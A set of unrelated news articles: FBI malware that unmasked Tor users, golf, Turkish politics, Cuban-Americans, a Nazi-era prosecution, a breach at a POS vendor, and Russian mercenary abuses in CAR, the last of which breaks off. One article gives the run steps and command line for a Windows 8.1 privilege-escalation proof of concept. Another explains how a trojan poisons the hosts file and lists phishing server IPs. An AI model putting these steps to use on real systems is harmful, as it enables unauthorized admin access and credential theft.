According to testimony, it was Edman who did almost everything from tracking $13.4 Million in Bitcoins from Silk Road to tracing Ulbricht's laptop, which played a significant role in Ulbricht being convicted and sentenced to the life term in prison.
Cornhusker/Torsploit Malware to Unmask Tor Users
To unmask Tor users, Edman worked closely with FBI Special Agent Steven A. Smith to develop and deploy malware, dubbed "Cornhusker" or "Torsploit," that collect identifying information on Tor users.
Tor is an anonymity software used by millions of people, including government officials, human rights activists, journalists and, of course, criminals around the world to keep their identity hidden while surfing the Internet.
This is why, the Tor software is used by people to visit Dark Net websites, like child pornography sites, which are inaccessible via standard web browsers.
The Cornhusker malware exploited vulnerabilities in Adobe Flash Player to reveal Tor users' actual IP address to an FBI servers outside the Tor network.
Also Read: FBI paid $1 Million to University Researchers for Unmasking Tor Users.
The agency hijacked and placed Cornhusker on three servers that ran multiple anonymous child pornography websites. The malware then targeted the flaws in Flash inside the Tor Browser.
Adobe Flash Player has long been considered as unsafe by many security experts, and the Tor Project has long warned against using it. However, many people, including the dozens revealed in Operation Torpedo, make use of Flash inside their Tor Browser.
Though, according to court documents, Cornhusker is no longer in use, the FBI is using its own funded "Network Investigative Technique" (NIT) to obtain IP and MAC addresses of Tor users in the course of investigations.
However, the so-called network investigative technique has been considered as invalid by the court during a hearing on the burst of the world's largest dark web child pornography site, PlayPen.
On Monday, the opposition lawyers have filed a motion against the FBI to reveal the full source code of the malware it used to hack suspected visitors of PlayPen, or simply drop the case.
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Story highlightsJustin Rose moves into contention at the Deutsche Bank Championship with a 63It was the second 63 in as many days at TPC Boston following Phil MickelsonSergio Garcia held the clubhouse lead after two rounds at 13-under par overall Mickelson slumped to a par-71 on Saturday, undone by two bogeys and a double bogey For the second straight day at the Deutsche Bank Championship, a player who won a major this season hit a 63. This time it was U.S. Open champion Justin Rose, not British Open titlist Phil Mickelson. Rose hit four birdies on the front nine and four on the back nine for the eight-under 63 at TPC Boston to move into contention following his second round. He was four shots behind clubhouse leader Sergio Garcia. "It came out of nowhere," Rose was quoted as saying by the Golf Channel. "I felt kind of lethargic, felt like I was plodding around and then all of a sudden I looked at the scoreboard and I was doing okay." Rose is hoping he can carry the momentum into the final two rounds. After capturing the U.S. Open in June to deliver on the promise he showed as an amateur, the Englishman missed the cut at Muirfield and hadn't finished in the top 10 prior to The Barclays in New Jersey last week. JUST WATCHEDHow Justin Rose shines under pressureReplayMore Videos ...MUST WATCHHow Justin Rose shines under pressure 04:57JUST WATCHEDObama golfs with 'Seinfeld' co-creatorReplayMore Videos ...MUST WATCHObama golfs with 'Seinfeld' co-creator 00:49JUST WATCHEDDufnering back in style after PGA winReplayMore Videos ...MUST WATCHDufnering back in style after PGA win 03:28Read: First major for RoseEven though he tied for second, Rose missed a birdie putt that would have given him the title. Garcia, like Rose, was a player of potential when younger but hasn't yet claimed his maiden major. The Spaniard, though, has thus far performed well in Boston. He followed up his 65 with a 64 on Saturday, despite carding a double-bogey at the 14th hole. Garcia decided to play this week and add to his schedule to make sure he's in the field for the third of four FedExCup playoff tournaments, September's BMW Championship in Illinois. "It was touch and go if I was going to make the BMW without playing here," Garcia told reporters. "We decided to come here and make a little bit of an extra effort of playing five weeks in a row, which I don't usually enjoy very much." Mickelson, the overnight leader, slipped five shots behind Garcia. He started well, collecting two birdies without dropping a shot on the front nine. On the back nine, however, Mickelson registered two bogeys and a double bogey. He needed birdies on the final two holes to complete his day at par-71. Tiger Woods, the world's top-ranked golfer, struck five birdies and a single bogey for a 67 but trails Garcia by six shots.
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Story highlightsLawmaker is hospitalized after being struck in the noseThe dispute traces back to corruption charges against the sons of three cabinet ministersThe vote was 210-28After a hard-fought battle -- one that landed a lawmaker in the hospital -- Turkey's parliament in Ankara voted Saturday to approve changes to the administrative body that oversees judges and prosecutors.The approval, by a vote of 210-28, came a day after parliament erupted in a brawl during debate about the proposed changes.One parliamentarian from the main opposition Republican Peoples' Party, or CHP, was hospitalized after being struck in the nose, the semi-official Anadolu news agency reported.Members of CHP and the ruling Justice and Development Party, or AKP, began fighting when a CHP member speaking in parliament called Prime Minister Recep Tayyip Erdogan a dictator and overstayed his turn at the podium. As AKP parliamentarians tried to remove him from the podium by force, the brawl erupted, with parliamentarians kicking and punching each other.JUST WATCHEDTurkish police break up Internet protestReplayMore Videos ...MUST WATCHTurkish police break up Internet protest 01:17The dispute traces back to the filing of corruption charges against the sons of three cabinet ministers in a high-profile graft case that began in December.The ruling Justice and Development Party then proposed a series of measures that would change the administrative body that oversees judges and prosecutors.Turkish media have reported that further rounds of corruption charges are in the works and wire taps damaging to the government have been leaked online and to the Turkish media.Critics say the government is interfering with the workings of the judiciary to bring the courts in line after the damning corruption case. The government says the overhaul of the administrative body is necessary because the Turkish judiciary has been infiltrated by a parallel group aiming to discredit the government.READ: Opinion: Is instability the 'new normal' for Turkey?READ: Turkey purges police force
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A Google security researcher, 'James Forshaw' has discovered a privilege escalation vulnerability in Windows 8.1 that could allow a hacker to modify contents or even to take over victims' computers completely, leaving millions of users vulnerable.
The researcher also provided a Proof of Concept (PoC) program for the vulnerability. Forshaw says that he has tested the PoC only on an updated Windows 8.1 and that it is unclear whether earlier versions, specifically Windows 7, are vulnerable.
Forshaw unearthed the bug in September 2014 and thereby notified on the Google Security Research mailing list about the bug on 30th September. Now, after 90 days disclosure deadline the vulnerability and Proof of Concept program was made public on Wednesday.
The vulnerability resides in the function AhcVerifyAdminContext, an internal function and not a public API which actually checks whether the user is an administrator.
"This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator," Forshaw wrote in the mailing list. "It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID."
"It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. For this purpose the PoC abuses the BITS service and COM to get the impersonation token but there are probably other ways."
The PoC contains two program files and some set of instructions for executing the files which, if successful, finally result in the Windows calculator running as an Administrator. According to the researcher, the vulnerability is not in Windows User Account Control (UAC) itself, but UAC is used in part to demonstrate the bug.
Forshaw tested the PoC on Windows 8.1 update, both 32 bit and 64 bit versions, and he recommended users to run the PoC on 32 bit. To verify perform the following steps:
Put the AppCompatCache.exe and Testdll.dll on disk
Ensure that UAC is enabled, the current user is a split-token admin and the UAC setting is the default (no prompt for specific executables).
Execute AppCompatCache from the command prompt with the command line "AppCompatCache.exe c:\windows\system32\ComputerDefaults.exe testdll.dll".
If successful then the calculator should appear running as an administrator. If it doesn't work first time (and you get the ComputerDefaults program) re-run the exploit from 3, there seems to be a caching/timing issue sometimes on first run.
A Microsoft spokesperson confirms the vulnerability and says that it's already working on a fix:
"We are working to release a security update to address an Elevation of Privilege issue. It is important to note that for a would-be attacker to potentially exploit a system, they would first need to have valid logon credentials and be able to log on locally to a targeted machine. We encourage customers to keep their anti-virus software up to date, install all available Security Updates and enable the firewall on their computer."
At the time of posting this article, there's no patch available and all Windows 8.1 systems are vulnerable to hackers.
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A Trojan that attacks Russian Internet users using a new trick to spread itself. Known as "Bicololo" was first discovered in October 2012 and specially designed to steal login credentials from users.
For this, the malware modify the system Hosts file (i.e etc/hosts) to host perfect phishing sites via DNS poisoning to collect social networking and email credentials.
In a recent post from Avast antivirus, Bicololo continued to evolve and spread even further. Because it is difficult for a user to determine that he is redirected to a phishing site the attack going smoothly.
In Oct, They found that all these phishing sites were resolving via servers located at 69.197.136.99, 94.249.188.224 and 178.63.214.97, 94.249.189.21 , which originally were hosted on afraid.org servers.
But now this malware spreading via standard 404 Error webpage error of hacked sites. The most frequent phishing clones of vk.com, odnoklassniki.ru and mail.ru like popular sites noticed in wind.
Once the victim with infected system types they will find fake log-in forms in browser and because none of the targeted services uses secure connections via HTTPS by default there is no simple way for user to know about the posing danger and he willingly give his password to hackers.
"The most common "stable" version comes in a self-extracting Cabinet container. Once executed, it drops four files into some strangely named Program Files subfolder, and runs them. The first dropped file is obfuscated and randomized BAT which does the actual etc/hosts injection. The other two files are Visual Basic scripts. One of them loads a text file with URL of an infection counter and sends there a message of successful infection." Martin at Avast said.
So for spreading this, it is enough for the attackers to an existing link on the hacked site on a forum or website. Once a user clicks the link does not exist, he would normally get the 404 error and Malware will welcome you with warm codes.
Use Good Antivirus, Like AVAST and AVG. Stay tuned with us on Facebook and Twitter.
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The passport control system at Istanbul Ataturk Airport International departure terminal was under cyber attack on Friday, while another airport in the Turkish largest city was also affected.
Passengers stood in lines for hours and plane departures were delayed, because cyberattack shutdown passport control systems at two facilities. Later Authorities has restored the systems.
Few local media said that the passport control system at the Sabiha Gokcen International Airport in Istanbul also broke down due to the malfunction of the Istanbul provincial security directorate's Polnet data system.
They believe that systems were infected using some malwares, But Authorities also investigating if the malware yielded user details from the infected machines or not.
No claim of responsibility or blame was attributed to the alleged cyberattack. However, this is another malware attacks been reported, targeting vital infrastructure so far. Cybersecurity has emerged as an emerging threat to national security in the digital age.
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Story highlightsDifferences between new, older generations shape politics behind historic changeRaul Moas, 26, finds painful silence from relatives when he tells them of visiting CubaCuban-American exile, 68, says "the new generation did not suffer what we did""There is a tremendous generational divide," pollster says of latest surveyWhen Raul Moas took his first trip to Cuba, he plunged deep in the generational chasm among Cuban-Americans that now shapes much of the politics behind this month's historic renewal of U.S.-Cuba ties.Born and raised in Miami, 26-year-old Moas discovered his trip to the ancestral land in 2011 is still a taboo among his parents and grandparents forced to flee the island during a communist revolution in the 1960s.That generation made a blood pact to never return to the isle as long as brothers Fidel and Raul Castro continued their communist rule. It's amounted to 55 years and counting.So when Moas later told his family of his visit to Cuba, many relatives stood in stone silence."When I came back and had the discussion -- 'Hey, surprise, I went to Cuba!' -- my maternal grandmother was happy, but many others of my family were much more tempered and said thank you and they walked out of the room," Moas recounted."Even within my own family, there's conflicting tension. That's a microcosm of what the Cuban-American community is going through," Moas said.JUST WATCHEDYoung Cuban-Americans ReactReplayMore Videos ...MUST WATCHYoung Cuban-Americans React 05:58For decades, Cuban-Americans were a near monolithic voice in condemning the Castro regime and energizing American policies that punished and isolated Cuba.Now, a half century later, the grandchildren and children of those exiles who lost everything to the communist revolution are being credited with infusing the Cuban-American community with new viewpoints -- ones that would have been crushed by community leaders a generation ago.A divided communityIn fact, Cuban-Americans are now a divided people and are evenly split nationwide about President Barack Obama's announcement to normalize relations with Cuba, according to a new poll by the Miami Herald, Tampa Bay Times and the polling firm Bendixen & Amandi International.The gap is evident by how nearly twice as many U.S.-born Cuban-Americans agree with Obama than those Cuban-Americans born in Cuba, according to the poll, taken immediately after Obama's announcement.JUST WATCHEDFareed's Take: The Obama-Castro handshakeReplayMore Videos ...MUST WATCHFareed's Take: The Obama-Castro handshake 02:53In effect, there are now two Cuban-American communities, said Fernand Amandi, managing partner of the polling firm. The poll found how 67% of those aged 65 and older disagree with Obama's normalizing of relations, but 52% of Cuban-Americans under age 65 support it."There is a tremendous generational divide," said Amandi, who's been polling the community for 30 years.Past attacks on dissentIt wasn't too long ago when the community solidly supported U.S. sanctions against Cuba, for better or worse.In fact, condemnation of any contact with Cuba was once so strong that Americas Watch expressed alarm in a 1992 report and documented a litany of "attacks on freedom of expression in Miami's Cuban exile community." Those attacks targeted dissent from the hard line against the Castros-led Cuba.The arrival of a new generation or two has opened the community to different views about U.S. policy."For some time now, the polls have been telling us that recent arrivals from Cuba -- those who have arrived since 1990 -- and those who were born and raised in the United States, have favored the normalization of diplomatic and trade relations with Cuba," said Maria Cristina Garcia, an American studies professor at Cornell University."In turn, those who lived through the most traumatic years of the Cuban revolution are understandably more angry about the new developments. The passage of time has not healed all wounds and memories," Garcia said. "I think any person who has experienced trauma can understand why this older generation view the announcement as a type of betrayal."Many in the younger generation in south Florida are ready for a change."I represent a generation of Cubans who are very interested in the future of Cuba. We think that the best days for Cuba have yet to come. And we think that in the end, the Cuban people need to stop being pieces in a game of chess," George Davila said.An older generation betrayedEven in the unofficial Cuban-American capital of Miami, a slight majority now opposes continuing the U.S. embargo of Cuba, and a large majority favors diplomatic relations and the lifting of U.S. travel restrictions to the island, according to a 2014 poll by Florida International University.JUST WATCHEDGrab your bags, get ready for Cuba!ReplayMore Videos ...MUST WATCHGrab your bags, get ready for Cuba! 03:13Younger Cuban-Americans support those changes in larger numbers than the older generations, the study said.Against that backdrop of changing opinions, Obama and Cuban President Raul Castro announced plans this month to exchange embassies and renew diplomatic ties for the first time since 1961. Obama also will ease parts of the U.S. embargo against Cuba. The two countries swapped prisoners in December.Though historic, the changes hardly soothe the deep psychic scars carried by many senior Cuban-Americans.Among those most traumatized by the Cuban revolution were the 14,000 unaccompanied Cuban children airlifted to the United States in a U.S.-sponsored operation called Pedro Pan, a reference to Peter Pan. Parents sent their children to U.S. soil out of fear that communism would usurp parental authority.Many children were later reunited with their parents in America, but others ended up in the care of Catholic churches, orphanages, foster homes and delinquency facilities."They don't know the Cuba I know"One of those children, Estela Bueno, now 68, called Obama's normalizing of relations with Cuba as "one of the saddest days in my life.""To see my government that is the United States would do such a thing, it does not value what they say about freedom of expression and the human rights," said Bueno, who was 15 when Operation Pedro Pan brought her to America."The new generation did not suffer what we did, they did not see what we did," Bueno said. "They don't know how the Castros are.... It's an oppression, and the new generations don't know that and they don't know the Cuba I know, and for them it's different and for them it's an advancement, but it doesn't compare what we saw."JUST WATCHEDBattle looms over Cuba in WashingtonReplayMore Videos ...MUST WATCHBattle looms over Cuba in Washington 03:39Her husband, Arturo, 69, also arrived to the United States as one of the Pedro Pans, at age 16. The couple, who met in college, lives in Torrance, California.Obama's announcement was "an insult and a betrayal," including to those Cubans who perished in the shark-infested Straits of Florida on rafts and unseaworthy boats while fleeing the island, he said."It surprised me completely," Arturo Bueno said. "It's a betrayal to the memory of many Cubans who have died and who have died in the ocean or that they've killed just because they didn't agree with the communist government."I always thought that sooner or later we would have an agreement, between the U.S. government and Cuba, but not a government under the Castro brothers," he added.Presidential politicsThe rift provides a political climate for Obama to pursue the bold change, particularly in the nation's third most populous state of Florida, where Cuban-Americans are a powerful influence on presidential races, typically in favor of Republicans, analysts say.But even that is changing, too."President Obama won Cubans in South Florida last cycle in 2012 narrowly, but he did. So there's a big generational divide in that community. And that's one of the reasons I think he feels he can make this calculation without screwing Democrats in Florida going forward," said John Avlon, a political analyst and editor-in-chief of the Daily Beast.Seeing pain, but sensing opportunity Like other young Cuban-Americans with parents from the island, Felice Gorordo of Miami treads lightly when talking about Cuba with older relatives.Visiting Cuba is even a more perilous subject. JUST WATCHEDCubans react to historic policy shiftReplayMore Videos ...MUST WATCHCubans react to historic policy shift 02:42Gorordo's father left Cuba in 1961 as one of the Pedro Pans. Gorordo's mother left Cuba in the 1970s as a teenager.In 2002, Gorordo, then 19, decided to visit Cuba and see the relatives his parents left behind."My grandparents were very against it and so were my parents," said Gorordo, now 31, who runs a startup firm providing tax filing services to immigrants."You have to recognize there is a lot of pain in this community, and it's real and you can't deny it or cover it up," Gorordo added. "But at the same, there's a sentiment among younger Cuban-Americans and even the older ones that this might be an opportunity to bring about change that we hoped for in Cuba."Seeking changeThat sort of change ultimately calls for a democracy in now communist Cuba. It's a vision that Fidel and Raul Castro certainly don't share or won't allow.That doesn't deter Gorordo and his generation.Gorordo, Moas and a network of 5,000 U.S. students at 50 universities seek change in Cuba by giving their island-based contemporaries a lode of technology.They send laptops, flash drives, tablets and phones so that Cubans can better their lives and amplify their voices in "the Western Hemisphere's last dictatorship," according to the website for the U.S. student group called Roots of Hope, or Raices de Esperanza, based in Miami Beach, Florida. Moas is executive director, and Gorordo a co-founder.The group's donations align with how Obama is now allowing the export of more U.S. telecommunications and Internet equipment to Cuba, where only 5% of the population enjoys unfiltered access to the web.JUST WATCHEDWinners and losers in new Cuba relationsReplayMore Videos ...MUST WATCHWinners and losers in new Cuba relations 02:02Revolutionary's descendant uses baseballOne member of the group, Cuban-American Luke Salas sought change by trying to become the first American to play baseball in Cuban pro leagues since 1961. Salas, 30, declined to state how his 2011-2012 quest in Cuba ended, but he's made a yet unreleased film, "Cuban Dream," about it."It got political as you can imagine," Salas said. "The State Department called me and questioned my motives and threatened to put me in jail if I kept going down there and played baseball. The Cuban side didn't know what to make of me."For me, there's no greater platform for Cubans and Americans to come together than baseball because it's a common love and national pastime."Salas' great-great uncle, Cesar Salas, was a right-hand man to Cuban national hero Jose Marti, a revolutionary who led the independence movement of the late 1800s. By 1960, however, Luke Salas's grandparents and father fled the island for the United States.It can be a painful topic for them."Of course, I understand my 94-year-old grandmother crying, and it's not her homeland any more," said Salas, who was born and raised in Los Angeles."This younger generation, the millennials, we are more in a position to see hope and we can see a younger generation in Cuba that needs help," he said.Nothing will changeOscar Pichardo looks at his childhood pictures from Cuba.Oscar Pichardo's Cuban passport, his last official document from Cuba.Older generation Cuban-Americans such as Oscar Pichardo, 63, of Redondo Beach, California, call Obama's diplomatic and trade initiative with Cuba "a major insult and a slap in the face," he said.Pichardo recalled how parents sent him and others to the United States when the Castro regime sought to conscript youngsters in the military."My parents left everything behind, absolutely everything," said Pichardo, who reunited with his parents in the United States a year after he was airlifted during Operation Pedro Pan.With his long view of Cuba, Pichardo contends that, in the end, Obama's measures won't change a thing in Cuba.He pointed to how nothing changed on the island after the late Pope John Paul II visited the island in 1998 at the invitation of then-President Fidel Castro, now 88.The Pope publicly urged freedom there in what was the first papal visit in Cuban history."I think in five years we will be here and we are going to look at this day and say nothing has changed," Pichardo said. "Remember, the same promises that (Raul) Castro is telling Obama, (Fidel Castro) said 15 to 20 years ago to the Pope, and nothing changed in the 20 years since the Pope went to Cuba."So history is repeating itself," Pichardo asserted.
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Berlin (CNN)A former secretary from the Stutthof Nazi concentration camp has been charged with complicity in the murders of 10,000 people, German prosecutors said Friday, in what is a rare case involving an alleged female concentration camp staff member. Prosecutors in Itzehoe did not name the woman but said in a statement that they charged her with "aiding and abetting murder in more than 10,000 cases," as well as complicity in attempted murder. The woman, who was a minor at the time of the alleged crimes, "is accused of having assisted those responsible at the camp in the systematic killing of Jewish prisoners, Polish partisans and Soviet Russian prisoners of war in her function as a stenographer and secretary to the camp commander," between June 1943 and April 1945, the prosecutors said in a statement. She will face a juvenile court because she was under 18 when she served in Stutthof.Concentration camp guard convicted in one of the last Nazi trials in historyIt is estimated that about 65,000 people were murdered during the Holocaust in the Stutthof concentration camp, near the Polish city now called Gdansk.Read MoreGerman prosecutors are investigating 13 other cases connected to the concentration camps of Buchenwald, Sachsenhausen, Mauthausen and Stutthof, according to the Central Office for the Investigation of Nazi Crimes.Last summer, a 93-year-old former guard at Stutthof, identified as Bruno D., was convicted of thousands of counts of being an accessory to murder and given a two-year suspended prison sentenceHe, too, was tried in a juvenile court because because he was 17 years old at the time he served in Stutthof.First established by the Nazis in 1939, Stutthof went on to house a total of 115,000 prisoners, more than half of whom died there. Around 22,000 went on to be transferred from Stutthof to other Nazi camps.An estimated 6 million Jewish people were killed in Nazi concentration camps during World War II. Also killed were hundreds of thousands of Roma people and people with mental or physical disabilities.
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Due to the better track inventory and accuracy of records, Point-of-sale (POS) systems are being used in most of the industries including restaurants, lodging, entertainment, and museums around the world. It can be easily set-up depending on the nature of the business.
Despite that, Point-of-sale (POS) systems are critical components in any retail environment and users are not aware of the emerging threats it poses in near future. So, it is one of the apparent target for cybercriminals and the recent security breach at Information Systems & Suppliers (ISS) proves this.
Information Systems & Suppliers (ISS) Inc., the vendor of point-of-sale (POS) electronic cash registers and security systems used by restaurants has warned its customers that it may have experienced a payment card breach.
HACKERS COMPROMISED VENDOR'S LogMeIn SERVICE
The company on June 12 notified restaurant customers of its remote-access service, the popular LogMeIn, had been compromised that may have exposed credit card details linked to POS transactions conducted between Feb. 28 and April 18 of this year.
"We recently discovered that our Log-Me-In account was breached on February 28, March 5 and April 18, 2014," Thomas Potter, president of Information Systems & Suppliers (ISS) Inc., states in the letter. "We have reason to believe that the data accessed could include credit card information from any cards used by your customers between these dates."
Log-Me-In is a remote access and systems management service founded in 2003, which helps remote control, systems management, business collaboration, along with file sharing and data backup. The company is based in Boston, Massachusetts.
ATTACK VECTOR: PHISHING
It is believed that the hacker possibly launch a phishing attack against a company's employees in an effort to steal the company's remote access credentials.
"We regret this happened, are sorry for any difficulties it may cause, and have taken additional action to protect this from happening again," Potter said.
The company didn't mention that how many restaurants or credit card accounts were at risk, but it believes that not all and FuturePOS customers are affected in the credit card breach. "We tried to get out ahead of this thing and do what was right by our customers," he says, adding that the firm had so far not seen any direct evidence of card information being misused.
To be on the safer side in near future, the company has changed its "Log-Me-In" credentials, as well as added a secondary password protection to protect themselves from other malicious activities, and is in the process of running virus scans at all of its sites.
RISING THREAT TO POS SYSTEMS
Due to lack of concern and security measures, point-of-sale (POS) systems have become an attractive target for cybercriminals. Attackers can also steal the information by leveraging the weakness in the point-of-sale (POS) environment such as unprotected memory, unencrypted network transmission, poorly encrypted disk storage, card reader interface, or compromised pinpad device.
In past year, we have seen many massive data breaches targeting POS machines such as the TARGET data breach occurred during the last Christmas holiday in which over 40 million Credit & Debit cards were stolen, and multiple retailers including Neiman Marcus, Michaels Store involving the heist of possibly 110 million Credit-Debit cards, and personal information.
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Fatouma was at home with her children in the town of Bambari when the firing began, on the afternoon of February 15.Terrified, she gathered them up and fled to the nearby mosque, thinking it would be a safe refuge in the Central African Republic (CAR) market town.But instead of finding sanctuary within its walls, she and dozens of others -- men, women and children -- became targets. Both her children were shot but survived. At least a dozen people didn't."It was the Russians and the FACA [the CAR army]," Fatouma said.Russian mercenaries, supported by at least one combat helicopter, attacked the neighborhood as they hunted for rebels known as the Seleka. But according to multiple witnesses, they opened fire indiscriminately against civilians, many of them hiding at the al Taqwa mosque.Read More"There was not a single Seleka element found in the mosque," Fatouma said. "It was just the civilian population that they killed. We didn't even see a dead Seleka body on the ground, it was our children they killed."CNN has changed the names of witnesses and victims to protect them from possible retribution.Other local sources say there may have been two Seleka taking refuge in the mosque, but they were unarmed.Bullet holes are seen inside the al Taqwa mosque in Bambari, Central African Republic in a photo taken in May 2021.The incident in Bambari is one of dozens investigated by CNN and The Sentry that show a wide range of human rights abuses by Russian mercenaries deployed to CAR.The Sentry is an independent investigative group co-founded by George Clooney and John Prendergast that follows the money connected to mass atrocities.Despite a pervasive climate of fear, dozens of people in the Central African Republic have spoken of summary killings, instances of rape and torture, and indiscriminate attacks on civilians, including the burning of homes.CNN and The Sentry have spoken with multiple witnesses to events in Bambari that afternoon. According to some, several civilians were shot in cold blood when the Russians and local troops ordered people to leave the mosque late that afternoon.Bullet holes are seen in an exterior wall of the al Taqwa mosque in Bambari, Central African Republic, in a photo taken in May 2021.One 20-year-old man, Abdoulaye, told CNN that he came out with several others, hands in the air. They were searched but then Russians and FACA started shooting."We were five meters from them when they opened fire," he said in an almost matter-of-fact way, using his hands to show what happened. "Four people were killed, another escaped over a wall."A bullet struck Abdoulaye in the lower leg as he ran. He hid for nearly 10 hours because access to the local hospital had been blocked by the FACA and later had to have his leg amputated below the knee.Others told CNN that they were fired on by Russian helicopters that afternoon. CNN has confirmed that several Russian combat helicopters were shipped to CAR earlier this year.The total number killed in and around the mosque that February afternoon is unknown; but from the accounts gathered by CNN it was somewhere between a dozen and 20. It was far from an isolated incident.The body of a victim of the shootings in and around al Taqwa mosque is seen in February 2021.CNN and The Sentry obtained confidential UN documents that support the accusations against the Russian mercenaries made by witnesses and victims.A report compiled by the UN peacekeeping force in CAR, known as MINUSCA, said that in Bambari, "FACA and bilateral forces especially Russians and elements believed to be Syrians may have committed war crimes, especially in executing civilians and other individuals who were not taking part in hostilities."Sources tell CNN that an unknown number of Syrian mercenaries who had been fighting for Russian contractors in Libya were subsequently sent to the CAR. CNN has previously reported on their role in Libya.In its report on the incident in Bambari, the UN Working Group (UNWG) on Mercenaries said Russian mercenaries stood "accused of using excessive force and shelling protected sites such as a mosque and IDP camps."One woman in Bambari, Adja, told CNN her husband had taken shelter at the mosque. "Even though civilians took shelter there, the Russians fired," she said. "For three days, the Russians would not allow us to retrieve the bodies."Another woman, Djibrila, told CNN her 15-year-old son was killed by Russians firing from a helicopter. When her husband tried to find him, he too was cut down; he died in hospital four days later."My husband was buried together with my 15-year-old son," Djibrila said, cradling her baby.The MINUSCA team that investigated the incident in mid-March reported that three men were believed to have been "executed" by FACA/Russian forces. "These three men were not armed when they were arrested at the entrance of the mosque," according to the confidential MINUSCA report.MINUSCA's Human Rights Division made a preliminary report in March 2021 following a specific trip to investigate allegations in Bambari and Grimari, the scene of two alleged atrocities involving Russians. The document was obtained by the Sentry and shared with CNN.Two weeks later, the UN went public with its concerns, with experts saying they had received "and continue to receive, reports of grave human rights abuses and violations of international humanitarian law, attributable to the private military personnel operating jointly with CAR's armed forces (FACA) and in some instances UN peacekeepers."The UNWG sent a list of allegations to the governments of Russia and the CAR, as well as to representatives of the military contractors.One member of the working group, Sorcha MacLeod, told CNN: "We're seeing some of the most serious human rights violations and humanitarian law violations. And we're seeing them on a widespread scale. People on the ground are absolutely terrified."MacLeod, a law professor at the University of Copenhagen, added: "We gather evidence from a wide variety of sources, and it is corroborated."UNWG has not received a reply from the company running the mercenary operation. The Russian government denied the allegations and insisted the contractors in CAR are "unarmed and do not take part in hostilities." The CAR government also denied the allegations but said an inquiry would establish the facts.An expanding missionIn 2017, the UN Security Council waived an arms embargo on CAR, agreeing to the deployment of 175 Russian trainers for the local military.For the Russians, that was a foot in the door.A former Russian military intelligence officer, Valery Zakharov, became the security adviser to CAR President Faustin-Archange Touadera.But as CNN has previously reported, all but five of the trainers who arrived -- along with a large supply of weapons -- were not Russian military but private contractors, hired by companies linked to a Russian oligarch close to President Vladimir Putin, Yevgeny Prigozhin.A MINUSCA document obtained by Sentry estimates there are now some 2,300 mercenaries in the CAR, including the Syrian contingent.Alongside Rwandan paramilitaries and CAR troops they are doing a lot less training and a lot more fighting, especially since a counter-offensive against rebel groups began in January.The Russians have also imported armored personnel carriers, combat helicopters, such as the Mi8 and Mi-24, and drones.One source told Sentry: "They have drones, they use them at all times to locate people."Additionally, according to an internal MINUSCA document obtained by Sentry and reviewed by CNN, the Russian mercenaries are using the same type of anti-personnel mines that they used in Libya.All sides in CAR's conflict have been accused of human rights violations, but the Russians' role on the front lines has become deeply problematic for the UN peacekeeping force in CAR.CNN team was tracked by Russian operatives in Central African Republic, Bellingcat investigation showsThe office of the UN Human Rights Commissioner said in March that "state [CAR] agents and their allies arbitrarily kill civilians," and that people had been "tortured, ill-treated and arbitrarily arrested."Several human rights and aid organizations in CAR would not comment on incidents involving the mercenaries, citing the risk to their staff.A CNN team that applied for permission to visit CAR this month to report on the security and humanitarian situation was repeatedly denied accreditation.Officials came up with several explanations, but in a text message the minister of communications, Ange Kazagui, told CNN: "Our position is maintained, namely that your background and the evidence in our possession do not support us in granting the requested accreditations."This appears to be a reference to CNN's 2019 reporting from the country on the links between the Russian mercenary presence and lucrative mineral concessions.The number of instructors in CAR has ballooned from 170 in 2017 to 2,300 in 2021. Image taken in May 2018.A gruesome patternReported incidents of abuses have spiked since late December, when Russian mercenaries joined a government offensive against rebel groups that had tried to advance on the capital.In a letter to Ivan Mechetin, the Russian mercenary force's representative in CAR, in March the UNWG wrote that: "the deployment of your personnel appears to have contributed to the rapid escalation and intensification of hostilities, in turn resulting in civilian harm and suffering."Besides the killings in Bambari, CNN and Sentry have gathered testimony on many other incidents.Late in December, Russian mercenaries opened fire on a truck that failed to stop at a checkpoint.Russian mercenaries get the big-screen treatment. The reality behind the film is as murky as the plotCNN spoke to the driver of the truck, Malik, who said he received a wound to his hand, which was later amputated. He said three people had been killed -- including an employee of the group Medecins San Frontieres (MSF). MSF confirmed the death but would not comment further.An internal report by MINUSCA "confirmed the excessive use of force by Russian forces at the checkpoint" had left three civilians dead. The report said that the impacts of the bullets "may indicate that shooters intended to kill as many people as possible they could."UN drone video obtained and geolocated by CNN showed homes being burned in a village near the town of Bossangoa, on February 23.According to an internal MINUSCA document, "bilateral forces burned homes in a village situated 13 kilometers (eight miles) from Bossangoa." The term bilateral means FACA/Russian.And on March 14, a group of Russians shot dead the chief of a village near Bambari after accusing him of being sympathetic to the rebels, according to a community leader from a neighboring village, who spoke to Sentry on condition of anonymity.The community leader said the Russians set fire to 60 homes and stole motorbikes and other goods.He also alleged that the Russians also assaulted several women, some of whom fled into the bush to escape. MacLeod told CNN that in many conflicts "when there's no oversight, where there's no monitoring of their activities, then the risk of sexual gender-based violence goes through the roof."Russian abuses have included the abduction of community leaders. According to a MINUSCA document, four members of the Fulani community were "extracted" from the town of Bria and flown to an "unknown destination." CNN has seen photographs of the men, with hoods on their heads, being put on a plane by Russian mercenaries at the local airstrip at the end of April.The MINUSCA document adds that the incident "causes great anxiety among the population where some fear disappearance," and urges an immediate investigation into where the four might have been taken.Several witnesses told CNN and Sentry that the Russians had a base outside Bambari where torture was commonplace.Nimery, a 39-year-old, said he and others had been taken to the base and roped together. Held for a week, he said he'd been beaten and stabbed in the foot with a bayonet.Still wearing a bandage around his ankle, Nimery chose his words carefully. "The Russians were wicked and barbaric," he said.Another account came from a 16-year-old who was detained with his brother by local troops in late February and taken to a Russian camp on the outskirts of Bambari.He said he was beaten until he passed out and when he regained consciousness, he saw his brother "covered in blood, tied up like an animal, his feet and hands bound behind his back."The interrogators accused the pair of being Seleka rebels. When his brother was finally released, the teenager said, he was unconscious in hospital for three days.UN dilemmaFor the 15,000 UN peacekeepers from many nations deployed to CAR, the Russian mercenary presence has become a dilemma.Moroccan peacekeepers from MINUSCA, the UN mission in the Central African Republic, patrol in the town of Bangassou on February 3, 2021.MINUSCA's chief, Mankeur Ndiaye, said in April that he had discussed allegations of human rights abuses by the Russians at a meeting in Moscow with Russia's deputy foreign minister, and that the Russian authorities had promised full cooperation with the UN's investigations.Zakharov -- the Russian adviser to President Touadera -- shot back within hours. "The declarations of M. Ndiaye are false and have no relation to reality," he tweeted.Things have only deteriorated since, with regular protests 